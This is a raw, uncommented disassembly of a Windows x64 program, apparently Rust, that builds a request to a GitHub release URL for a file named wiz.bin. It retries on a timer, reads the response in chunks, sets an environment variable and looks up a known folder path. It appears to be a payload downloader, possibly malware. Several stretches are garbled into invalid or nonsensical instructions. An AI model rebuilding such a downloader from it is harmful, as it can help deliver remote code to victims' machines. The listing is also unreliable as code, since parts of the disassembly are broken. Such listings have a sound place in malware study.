mov rsi, qword [rbp + 0x808]
mov rdi, qword [rsi + 0x58]
test rdi, rdi
je 0x14000c00e
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000c00e
cmp qword [rbx + 0x10], 0x11
jb 0x14000bffc
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x14000d468
jmp 0x14000d455
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], 1
mov qword [rbp + 0x370], rbx
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x378], xmm0
lea rcx, [rbp + 0x360]
call fcn.1400de9c0
lea rsi, [rbp + 0x800]
mov rcx, rsi
call fcn.140002380
mov rax, qword [r14]
lock dec qword [rax]
jne 0x14000c073
mov rcx, r14
call fcn.140004d10
mov byte [r12], 1
lea rdx, [0x1401106cb]
mov qword [rbp + 0xa0], rdx
mov qword [rbp + 0xa8], 0xb
lea rax, str.https:__github.com_hedrache_cps_releases_download_2_wiz.binREQWEST_URL
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e0], 0x3b
lea rdi, [rbp + 0x510]
mov r8d, 0xb
mov rcx, rdi
call fcn.1400d6140
mov rcx, qword [rbp + 0x510]
mov rbx, qword [rbp + 0x518]
movabs rax, 0x8000000000000000
mov qword [rbp + 0x8b8], rcx
cmp rcx, rax
je 0x14000c419
mov qword [rbp + 0x8d0], rbx
mov r13, r15
mov r12, r14
lea rdx, str.https:__github.com_hedrache_cps_releases_download_2_wiz.binREQWEST_URL
lea rcx, [rbp + 0x510]
mov r8d, 0x3b
call fcn.1400d6140
mov r15, qword [rbp + 0x510]
mov r14, qword [rbp + 0x518]
movabs rax, 0x8000000000000000
cmp r15, rax
jne 0x14000c3c2
mov rbx, r14
jmp 0x14000c3f3
cmp qword [rbp + 0x850], 0
je 0x14000c156
mov r8, qword [rbp + 0x848]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x820]
mov rbx, qword [rbp + 0x828]
test rbx, rbx
je 0x14000c1a5
lea rdi, [rsi + 0x30]
jmp 0x14000c18b
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x68
dec rbx
je 0x14000c1a5
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x14000c170
lea rcx, [rdi + 0x28]
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
call qword [rax + 0x10]
jmp 0x14000c170
cmp qword [rbp + 0x818], 0
je 0x14000c1c1
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x838]
mov rbx, qword [rbp + 0x840]
test rbx, rbx
je 0x14000c1fb
lea rdi, [rsi + 0x38]
nop dword [rax + rax]
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x48
dec rbx
jne 0x14000c1e0
cmp qword [rbp + 0x830], 0
je 0x14000c217
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x860]
test rsi, rsi
je 0x14000ce79
mov rax, qword [rsi + 8]
test rax, rax
je 0x14000ce67
mov qword [rbp + 0x768], rax
mov qword [rbp + 0x8d0], r12
mov rax, qword [rsi]
mov qword [rbp + 0x8b8], rax
mov r12, qword [rsi + 0x18]
test r12, r12
je 0x14000ce1e
mov rdi, qword [rbp + 0x8b8]
movdqa xmm0, xmmword [rdi]
pmovmskb r15d, xmm0
not r15d
lea r13, [rdi + 0x10]
jmp 0x14000c2a5
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea eax, [r15 - 1]
and eax, r15d
mov r15d, eax
dec r12
je 0x14000ce1e
test r15w, r15w
jne 0x14000c2d2
nop dword [rax + rax]
movdqa xmm0, xmmword [r13]
pmovmskb r15d, xmm0
add rdi, 0xfffffffffffffe00
add r13, 0x10
cmp r15d, 0xffff
je 0x14000c2b0
not r15d
tzcnt eax, r15d
shl eax, 5
mov rcx, rdi
sub rcx, rax
mov rbx, qword [rcx - 0x10]
mov r14, qword [rcx - 8]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14000c292
cmp qword [r14 + 0x10], 0x11
jb 0x14000c280
mov rbx, qword [rbx - 8]
jmp 0x14000c280
movups xmm0, xmmword [0x14013f840]
movaps xmmword [rbp + 0x70], xmm0
movups xmm0, xmmword [0x14013f830]
movaps xmmword [rbp + 0x60], xmm0
mov rax, qword [rbp + 0x4d8]
mov qword [rbp + 0x500], rax
movdqu xmm0, xmmword [rbp + 0x4b8]
movdqu xmm1, xmmword [rbp + 0x4c8]
movdqa xmmword [rbp + 0x4f0], xmm1
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmmword [rbp + 0xb0], xmm1
movdqa xmmword [rbp + 0xa0], xmm0
mov eax, dword [rbp + 0x501]
mov ecx, dword [rbp + 0x504]
mov dword [rbp + 0xc1], eax
mov dword [rbp + 0xc4], ecx
lea rcx, [rbp + 0x388]
mov byte [rbp + 0xc0], 1
lea rdx, [rbp + 0x60]
lea r8, [rbp + 0xa0]
call fcn.1400be650
cmp al, 2
je 0x14000f59e
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x360]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rbp + 0xa0], 2
jne 0x14000bee0
jmp 0x14000be14
mov rcx, qword [rbp + 0x8d0]
mov rdx, r14
call qword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
xor ebx, ebx
test eax, eax
je 0x14000d390
test r15, r15
je 0x14000c3f3
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x8b8], 0
mov r14, r12
mov r15, r13
je 0x14000c419
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rbp + 0x8d0]
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x14000fb7d
lea rdx, [0x1401106cb]
lea rcx, [rbp + 0x510]
mov r8d, 0xb
call fcn.1400d9cb0
mov r9, qword [rbp + 0x510]
movabs rax, 0x8000000000000000
cmp r9, rax
jne 0x14000c45d
lea rbx, [0x14016f768]
jmp 0x14000bb72
mov rax, qword [rbp + 0x518]
mov qword [rbp + 0x8b8], rax
mov rax, qword [rbp + 0x520]
mov qword [rbp + 0x8d0], rax
cmp byte [rbp + 0x528], 0
lea rbx, [0x14016f768]
je 0x14000cf16
mov qword [rbp + 0x768], r9
mov qword [rbp + 0x7e0], 0
mov qword [rbp + 0x7e8], 1
mov qword [rbp + 0x7f0], 0
lea rdi, [rbp + 0x370]
lea r13, [rbp + 0x510]
lea rsi, [rbp + 0x360]
xorps xmm6, xmm6
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000c4fd
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call r12
lea rsi, [rbp + 0x360]
lea r13, [rbp + 0x510]
mov rcx, r13
call fcn.14004f500
mov qword [rbp + 0x6a8], 0x1e
mov dword [rbp + 0x6b0], 0
mov rcx, rsi
mov rdx, r13
call fcn.1400bee50
mov esi, dword [rbp + 0x370]
mov r14, qword [rbp + 0x360]
cmp esi, 0x3b9aca01
jne 0x14000c560
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xa0], 3
jmp 0x14000ca13
mov rbx, qword [rbp + 0x368]
mov eax, dword [rbp + 0x374]
mov qword [rbp + 0x1c0], r14
mov qword [rbp + 0x1c8], rbx
mov dword [rbp + 0x1d0], esi
mov dword [rbp + 0x1d4], eax
mov qword [rbp + 0x820], 0
mov qword [rbp + 0x800], 0
mov qword [rbp + 0x810], 0
mov rcx, r13
lea rdx, [rbp + 0x800]
mov r8, qword [rbp + 0x8b8]
mov r9, qword [rbp + 0x8d0]
call fcn.1400f7490
mov r13, qword [rbp + 0x510]
movabs rax, 0x8000000000000000
cmp r13, rax
jne 0x14000c650
movzx r12d, byte [rbp + 0x518]
movzx eax, byte [0x14017d2b0]
mov edx, 1
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14000e69e
mov r13, rax
mov byte [rax], r12b
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14000e68f
movabs rcx, 0x8000000000000000
mov qword [rax], rcx
mov qword [rax + 0x58], r13
lea rcx, [0x140139aa0]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
jmp 0x14000c7da
mov r12, qword [rbp + 0x518]
lea rcx, [rbp + 0x520]
movups xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movaps xmmword [rbp + 0x360], xmm0
movdqa xmmword [rbp + 0x370], xmm1
movdqa xmmword [rbp + 0x380], xmm2
movzx edx, byte [rbp + 0x550]
mov rax, qword [rcx + 0x40]
mov qword [rbp + 0x78f], rax
movdqu xmm0, xmmword [rcx + 0x31]
movdqa xmmword [rbp + 0x780], xmm0
test dl, dl
je 0x14000c75d
movaps xmm0, xmmword [rbp + 0x360]
movdqa xmm1, xmmword [rbp + 0x370]
movdqa xmm2, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x530], xmm2
movdqa xmmword [rbp + 0x520], xmm1
movaps xmmword [rbp + 0x510], xmm0
movaps xmm3, xmmword [rbp + 0x780]
movaps xmmword [rbp + 0x800], xmm3
mov rax, qword [rbp + 0x78f]
mov qword [rbp + 0x80f], rax
movaps xmmword [rbp], xmm6
movaps xmmword [rbp + 0x780], xmm0
movdqa xmmword [rbp + 0x790], xmm1
movdqa xmmword [rbp + 0x7a0], xmm2
mov rax, qword [rbp + 0x80f]
mov qword [rbp + 0x4f], rax
movdqa xmm0, xmmword [rbp + 0x800]
movdqa xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x10], xmm6
xor r8d, r8d
mov qword [rbp + 0x8d8], r13
mov qword [rbp + 0x7d8], r12
mov byte [rbp + 0x508], dl
xor edx, edx
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
lea r13, [rbp + 0x510]
lea rcx, [rbp + 0x1d8]
jmp 0x14000c7f7
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14000e68f
mov qword [rax + 0x58], 1
lea rcx, [0x140139d70]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
mov qword [rax], r13
mov qword [rax + 8], r12
movaps xmm0, xmmword [rbp + 0x360]
movdqa xmm1, xmmword [rbp + 0x370]
movdqa xmm2, xmmword [rbp + 0x380]
movups xmmword [rax + 0x10], xmm0
movdqu xmmword [rax + 0x20], xmm1
movdqu xmmword [rax + 0x30], xmm2
mov byte [rax + 0x40], 0
movdqa xmm0, xmmword [rbp + 0x780]
movdqu xmmword [rax + 0x41], xmm0
mov rcx, qword [rbp + 0x78f]
mov qword [rax + 0x50], rcx
lea rcx, [rbp + 0x1d8]
mov edx, 2
mov r8b, 1
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
lea r13, [rbp + 0x510]
lock inc qword [r14]
jle 0x14001032f
mov qword [rbp + 0x498], r14
mov qword [rbp + 0x4a0], rbx
mov dword [rbp + 0x4a8], esi
mov qword [rbp + 0x360], rdx
mov qword [rbp + 0x368], rax
mov rax, qword [rbp - 8]
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rdi], xmm0
mov qword [rbp + 0x388], 0
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [rdi + 0x20], xmm0
mov qword [rbp + 0x3a0], 0
mov qword [rbp + 0x3a8], 8
movaps xmm0, xmmword [rbp]
movups xmmword [rdi + 0x40], xmm0
mov qword [rbp + 0x3c0], 8
mov qword [rbp + 0x3c8], 0
mov qword [rbp + 0x3d0], 2
mov qword [rbp + 0x3d8], 0
mov word [rbp + 0x3e0], 0
movzx eax, word [rbp + 0x32e]
mov word [rdi + 0x76], ax
mov eax, dword [rbp + 0x32a]
mov dword [rdi + 0x72], eax
mov rax, qword [rbp + 0x8d8]
mov qword [rbp + 0x3e8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x3f0], rax
movaps xmm0, xmmword [rbp + 0x780]
movaps xmm1, xmmword [rbp + 0x790]
movdqa xmm2, xmmword [rbp + 0x7a0]
movdqu xmmword [rdi + 0xa8], xmm2
movups xmmword [rdi + 0x98], xmm1
movups xmmword [rdi + 0x88], xmm0
movzx eax, byte [rbp + 0x508]
mov byte [rbp + 0x428], al
mov rax, qword [rbp + 0x4f]
mov qword [rdi + 0xc8], rax
movaps xmm0, xmmword [rbp + 0x40]
movups xmmword [rdi + 0xb9], xmm0
mov dword [rbp + 0x448], 0x3b9aca00
mov byte [rbp + 0x450], 1
mov dword [rdi + 0xe4], 0
mov dword [rdi + 0xe1], 0
movaps xmm0, xmmword [rbp + 0x10]
movups xmmword [rdi + 0xe8], xmm0
mov byte [rbp + 0x468], 2
mov eax, dword [rbp + 0x1b9]
mov edx, dword [rbp + 0x1bc]
mov dword [rdi + 0xfc], edx
mov dword [rdi + 0xf9], eax
mov qword [rbp + 0x470], 2
movdqu xmm0, xmmword [rbp + 0x20]
movdqu xmm1, xmmword [rbp + 0x30]
movdqu xmmword [rdi + 0x118], xmm1
movdqu xmmword [rdi + 0x108], xmm0
test r8b, r8b
jne 0x14000c9c1
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x3e8]
call fcn.1400bdde0
lea rcx, [rbp + 0x1d8]
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x800], rax
jne 0x14000cb2b
mov r8d, 0x150
lea rdx, [rbp + 0x360]
mov r15, rcx
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [0x14016f768]
lea rcx, [rbp + 0xa0]
mov rdx, r15
call fcn.1400c5650
lock dec qword [r14]
jne 0x14000c9fe
lea rcx, [rbp + 0x1c0]
call fcn.140006100
cmp qword [rbp + 0xa0], 3
jne 0x14000cc76
mov r14, qword [rbp + 0xa8]
lea rax, str._nlibrary_std_src_rt.rs
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x520], rbx
movups xmmword [rbp + 0x528], xmm6
mov rcx, r13
call fcn.1400de9c0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14000cac9
mov r13, rax
mov qword [rbp + 0x510], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rbp + 0x510]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14000cac0
mov rcx, r13
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov esi, eax
mov rcx, r13
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp esi, 0xffffffff
je 0x14000cac9
mov r13, qword [r14 + 0x58]
test r13, r13
jne 0x14000cadd
jmp 0x14000cb07
mov rcx, r13
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
mov r13, qword [r14 + 0x58]
test r13, r13
je 0x14000cb07
mov rsi, qword [r14 + 0x60]
mov rcx, r13
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14000cb07
cmp qword [rsi + 0x10], 0x11
jb 0x14000caf8
mov r13, qword [r13 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r13
call r12
mov rax, qword [r14]
shl rax, 1
test rax, rax
je 0x14000c4e0
mov r8, qword [r14 + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call r12
jmp 0x14000c4e0
mov rax, qword [rbp + 0x810]
mov qword [rbp + 0x90], rax
movdqu xmm0, xmmword [rbp + 0x800]
movdqa xmmword [rbp + 0x80], xmm0
mov r8d, 0x150
mov rcx, r13
lea rsi, [rbp + 0x360]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x4b8]
lea rdx, [rbp + 0x80]
lea r8, [rbp + 0x818]
call fcn.1400be100
cmp dword [rbp + 0x510], 2
lea rbx, [0x14016f768]
jne 0x14000cbc7
mov r8d, 0x150
lea r15, [rbp + 0x1d8]
mov rcx, r15
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x4b8]
mov rdx, qword [rbp + 0x4c0]
mov r8, qword [rbp + 0x4c8]
lea rcx, [rbp + 0x4d0]
call qword [rax + 0x10]
jmp 0x14000c9dd
movups xmm0, xmmword [0x14013f840]
movaps xmmword [rbp + 0x70], xmm0
movups xmm0, xmmword [0x14013f830]
movaps xmmword [rbp + 0x60], xmm0
mov rax, qword [rbp + 0x4d8]
mov qword [rbp + 0x500], rax
movdqu xmm0, xmmword [rbp + 0x4b8]
movdqu xmm1, xmmword [rbp + 0x4c8]
movdqa xmmword [rbp + 0x4f0], xmm1
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmmword [rbp + 0x340], xmm1
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x501]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
lea rdx, [rbp + 0x351]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
mov byte [rbp + 0x350], 1
lea rcx, [rbp + 0x538]
lea rdx, [rbp + 0x60]
lea r8, [rbp + 0x330]
call fcn.1400be650
cmp al, 2
je 0x14000f59e
mov r8d, 0x150
lea r15, [rbp + 0x1d8]
mov rcx, r15
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14000c9dd
lea rsi, [rbp + 0x510]
lea rdx, [rbp + 0xa0]
mov r8d, 0xc0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x7e0]
mov rcx, rsi
call fcn.140001f80
mov rsi, rdx
test rax, rax
je 0x14000cfc7
lea r15, str._nlibrary_std_src_rt.rs
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], 1
mov qword [rbp + 0x370], rbx
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x378], xmm0
lea rcx, [rbp + 0x360]
call fcn.1400de9c0
mov eax, esi
and eax, 3
cmp eax, 1
mov r14, qword [rbp + 0x778]
jne 0x14000cd6c
lea rdi, [rsi - 1]
mov rbx, qword [rsi - 1]
mov rsi, qword [rsi + 7]
mov rcx, rbx
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14000cd2b
cmp qword [rsi + 0x10], 0x11
jb 0x14000cd19
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [0x14016f768]
lea rcx, [rbp + 0x510]
call fcn.140003170
cmp dword [rbp + 0xa0], 3
je 0x14000cd81
cmp qword [rbp + 0x7e0], 0
jne 0x14000ce03
jmp 0x14000d3d6
lea rcx, [rbp + 0x510]
call fcn.140003170
cmp dword [rbp + 0xa0], 3
jne 0x14000cd59
mov rsi, qword [rbp + 0xa8]
mov rdi, qword [rsi + 0x58]
test rdi, rdi
je 0x14000cdbe
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000cdbe
cmp qword [rbx + 0x10], 0x11
jb 0x14000cdac
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x14000cddc
mov r8, qword [rsi + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [0x14016f768]
cmp qword [rbp + 0x7e0], 0
je 0x14000d3d6
mov r8, qword [rbp + 0x7e8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000d3d6
mov rcx, qword [rbp + 0x768]
lea ebp, [rax + 7]
add byte [rax], al
mov rax, rcx
shl rax, 5
add rcx, rax
cmp rcx, 0xffffffffffffffcf
cmp ecx, 0xffffffcf
cmp ecx, 0xffffffcf
mov r14, qword [rbp + 0x778]
lea r15, str._nlibrary_std_src_rt.rs
mov r12, qword [rbp + 0x8d0]
je 0x14000ce67
mov r8, qword [rbp + 0x8b8]
sub r8, rax
add r8, 0xffffffffffffffe0
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x870]
test rax, rax
je 0x14000cea2
lea rcx, [rbp + 0x888]
mov rdx, qword [rbp + 0x878]
mov r8, qword [rbp + 0x880]
call qword [rax + 0x10]
adc cl, ch
cmpsb byte [rsi], byte [rdi]
invalid
add byte [rax], al
adc cl, ch
cmpsb byte [rsi], byte [rdi]
add eax, 0x8b480000
mov ch, 0x78
or byte [rax], al
add byte [rax - 0x75], cl
mov ebp, 0x880
or byte [rax], 0
invalid
mov rsi, qword [rbp + 0x878]
mov rdi, qword [rbp + 0x880]
or byte [rax], 0
invalid
or byte [rax], 0
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14000ced9
cmp qword [rdi + 0x10], 0x11
jb 0x14000cec7
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x888]
test rsi, rsi
je 0x14000d448
mov rcx, rsi
call fcn.1400ece20
lea rcx, [rsi + 8]
cmp qword [rsi], 0
je 0x14000d418
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14000d426
call fcn.140005260
jmp 0x14000d426
cmp qword [rbp + 0x8d0], 0
je 0x14000c48d
mov rdx, qword [rbp + 0x8b8]
mov rax, qword [rbp + 0x8d0]
add rax, rdx
jmp 0x14000cf5c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14000c48d
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x14000cf50
cmp r8b, 0xe0
jb 0x14000cf37
cmp r8b, 0xed
jne 0x14000cf9e
cmp rcx, rax
je 0x14000c48d
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14000c48d
cmp byte [rdx + 1], 0x9f
ja 0x14000d489
add rdx, 3
mov rcx, rdx
jmp 0x14000cf50
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x14000cf50
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14000cf50
test rsi, rsi
je 0x14000d267
mov edi, 0x2000
mov r13, qword [rbp + 0x7f0]
movabs rsi, 0x2600000003
xor r15d, r15d
mov r12, qword [rbp + 0x7e0]
mov rax, r12
or rax, r13
lea rbx, [0x14016f768]
je 0x14000d050
sub r12, r13
jne 0x14000d093
mov r12, r13
add r12, 0x20
jb 0x14000ccad
lea rax, [r13*2]
cmp rax, r12
cmova r12, rax
test r13, r13
je 0x14000d09c
mov rax, qword [rbp + 0x7e8]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x370], r13
mov eax, 1
jmp 0x14000d09e
lea rcx, [rbp + 0x510]
lea rdx, [rbp + 0x7e0]
call fcn.140001f80
test rax, rax
jne 0x14000d49a
test rdx, rdx
je 0x14000d267
mov r12, qword [rbp + 0x7e0]
mov r13, qword [rbp + 0x7f0]
lea rbx, [0x14016f768]
sub r12, r13
je 0x14000d008
mov r14, qword [rbp + 0x7e8]
jmp 0x14000d0eb
xor eax, eax
mov rdx, r12
not rdx
shr rdx, 0x3f
mov qword [rbp + 0x368], rax
lea rcx, [rbp + 0x1d8]
mov r8, r12
lea r9, [rbp + 0x360]
call fcn.140006b80
cmp qword [rbp + 0x1d8], 0
jne 0x14000ccad
mov r14, qword [rbp + 0x1e0]
mov qword [rbp + 0x7e8], r14
mov qword [rbp + 0x7e0], r12
sub r12, r13
cmp r12, rdi
mov rbx, rdi
cmovb rbx, r12
fmul qword [rcx - 0x77]
fmul dword [rbp + 0x29]
clc
jb 0x14000fc44
add r14, r13
add r15, r14
mov rcx, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea r15, [rbp + 0x510]
mov rcx, r15
mov rdx, r14
mov r8, rbx
call fcn.1400c7cf0
test rax, rax
je 0x14000d220
test rdx, rdx
lea r13, [0x140172374]
je 0x14000d267
mov eax, edx
and eax, 3
lea rcx, [0x140172364]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rdx + 0xf], 0x23
jne case.0x14000d205.2
mov qword [rbp + 0x8d0], rdi
mov r15, rdx
dec r15
mov r13, qword [rdx - 1]
mov rdi, qword [rdx + 7]
mov edi, dword [rdx + 7]
mov rcx, r13
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14000d1c7
cmp qword [rdi + 0x10], 0x11
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
jb 0x14000d194
nop dword [rax]
mov r13, qword [r13 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r13
call rdi
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call rdi
mov rdi, qword [rbp + 0x8d0]
lea r15, [rbp + 0x510]
lea r13, [0x140172374]
sub eax, 0x1651af
sub eax, 0x1651af
jmp 0x14000d1e0
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000d1a2
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
jne case.0x14000d205.2
mov rcx, r15
mov rdx, r14
mov r8, rbx
call fcn.1400c7cf0
test rax, rax
je 0x14000d220
test rdx, rdx
je 0x14000d267
outsd dx, dword [rsi]
outsd dx, dword [rsi]
mov eax, edx
and eax, 3
movsxd rax, dword [r13 + rax*4]
add rax, r13
jmp rax
cmp byte [rdx + 0x10], 0x23
je 0x14000d1e0
jmp case.0x14000d205.2
cmp rbx, rdx
jb 0x14000fd7e
test rdx, rdx
je 0x14000d267
mov r13, qword [rbp + 0x7f0]
add r13, rdx
lea rax, [rdi + rdi]
test rdi, rdi
mov rcx, 0xffffffffffffffff
cmovs rax, rcx
sub rbx, rdx
mov qword [rbp + 0x7f0], r13
cmovne rax, rdi
cmp r12, rdi
cmovae rdi, rax
mov r15, rbx
jmp 0x14000cfe9
mov r13, qword [rbp + 0x7e0]
mov r12, qword [rbp + 0x7e8]
mov rax, qword [rbp + 0x7f0]
mov qword [rbp + 0x8d0], rax
lea rcx, [rbp + 0x510]
call fcn.140003170
cmp dword [rbp + 0xa0], 3
jne 0x14000d3ae
mov rsi, qword [rbp + 0xa8]
mov rdi, qword [rsi + 0x58]
test rdi, rdi
mov r14, qword [rbp + 0x778]
lea r15, str._nlibrary_std_src_rt.rs
je 0x14000d2e7
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000d2e7
cmp qword [rbx + 0x10], 0x11
jb 0x14000d2d5
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x14000d305
mov r8, qword [rsi + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [0x14016f768]
movabs rax, 0x8000000000000000
cmp r13, rax
je 0x14000d3d6
movdqu xmm0, xmmword [0x1401121d4]
movdqa xmmword [rbp + 0x360], xmm0
mov qword [rbp + 0x1d8], 0
lea rcx, [rbp + 0x360]
lea r15, [rbp + 0x1d8]
xor edx, edx
xor r8d, r8d
mov r9, r15
call qword [sym.imp.shell32.dll_SHGetKnownFolderPath]
mov rcx, qword [rbp + 0x1d8]
test eax, eax
mov qword [rbp + 0x7d8], r12
mov qword [rbp + 0x508], r13
je 0x14000d4a2
call qword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x14000d503
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
test r15, r15
jne 0x14000c3e1
jmp 0x14000c3f3
mov r14, qword [rbp + 0x778]
lea rbx, [0x14016f768]
and edx, dword [rsi]
add byte [rbp + rcx*4 + 0x3d], cl
pop rbp
adc byte cs:[rax], al
movabs rax, 0x8000000000000000
cmp r13, rax
jne 0x14000d331
mov ecx, 5
call fcn.1400d6700
cmp qword [rbp + 0x768], 0
